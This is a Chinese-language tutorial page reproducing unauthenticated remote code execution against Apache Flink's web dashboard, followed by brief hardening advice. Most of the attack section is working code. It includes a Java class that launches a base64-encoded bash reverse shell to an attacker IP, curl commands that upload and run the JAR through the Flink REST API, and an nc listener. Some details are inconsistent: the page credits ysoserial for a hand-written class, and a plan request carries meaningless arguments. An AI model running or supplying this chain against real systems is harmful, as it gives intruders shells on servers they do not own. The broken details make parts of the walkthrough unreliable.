您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# Apache Flink未授权访问远程代码命令执行的复现
## 0x00 漏洞背景
Apache Flink作为开源的流处理框架,在大数据处理领域广泛应用。其Web Dashboard默认监听8081端口,若未正确配置安全策略,攻击者可能通过未授权访问实现远程代码执行(RCE)。该漏洞影响多个Flink版本,属于高危风险。
## 0x01 环境搭建
### 实验环境
- 攻击机:Kali Linux 2023.1 (IP: 192.168.1.100)
- 靶机:Ubuntu 20.04 + Apache Flink 1.11.2
- 工具:Burp Suite、curl、nc
### 靶机部署
```bash
# 下载Flink
wget https://archive.apache.org/dist/flink/flink-1.11.2/flink-1.11.2-bin-scala_2.11.tgz
tar -xzf flink-1.11.2-bin-scala_2.11.tgz
cd flink-1.11.2
# 启动集群(默认不启用认证)
./bin/start-cluster.sh
访问http://<target>:8081
,若直接显示Dashboard且无需认证,则存在未授权访问:
curl -I http://192.168.1.200:8081
HTTP/1.1 200 OK
Content-Type: text/html
关键危险接口:
- /jars/upload
:上传JAR文件
- /jars/<jar-id>/run
:执行JAR包
- /jars/<jar-id>/plan
:获取执行计划
使用ysoserial生成反弹shell的JAR:
// EvilJob.java
public class EvilJob {
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}");
}
}
编译打包:
javac EvilJob.java
jar cvf evil.jar EvilJob.class
通过API接口上传:
curl -X POST -F "jarfile=@evil.jar" http://192.168.1.200:8081/jars/upload
返回示例:
{
"filename": "evil.jar",
"status": "success",
"id": "a1b2c3d4-5678-90ef-ghij-klmnopqrstuv.jar"
}
curl -X POST "http://192.168.1.200:8081/jars/a1b2c3d4-5678-90ef-ghij-klmnopqrstuv.jar/run"
curl -X POST "http://192.168.1.200:8081/jars/a1b2c3d4-5678-90ef-ghij-klmnopqrstuv.jar/plan" \
-H "Content-Type: application/json" \
-d '{"programArgs":"--host 192.168.1.100 --port 4444"}'
攻击机监听:
nc -lvnp 4444
成功获取到目标系统的shell权限。
POST /jars/upload HTTP/1.1
Host: 192.168.1.200:8081
Content-Type: multipart/form-data
Content-Length: 1234
[恶意JAR文件二进制数据]
/jars/upload
和/run
请求网络层隔离:
iptables -A INPUT -p tcp --dport 8081 -s trusted_ip -j ACCEPT
iptables -A INPUT -p tcp --dport 8081 -j DROP
配置文件修改(flink-conf.yaml):
web.submit.enable: false
security.ssl.enabled: true
security.kerberos.login.keytab: /path/to/keytab
security.kerberos.login.principal: flink-user
漏洞成因在于: 1. 默认无认证:Web UI/API未强制身份验证 2. 危险功能暴露:允许任意用户提交执行Job 3. 反序列化风险:Flink使用Java序列化机制
攻击流程图:
graph TD
A[发现开放8081端口] --> B[访问Web UI]
B --> C{是否需要认证}
C -->|否| D[上传恶意JAR]
C -->|是| E[停止攻击]
D --> F[触发执行]
F --> G[获取RCE]
”`
(注:实际执行漏洞利用需获得合法授权,本文仅作技术研究用途)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。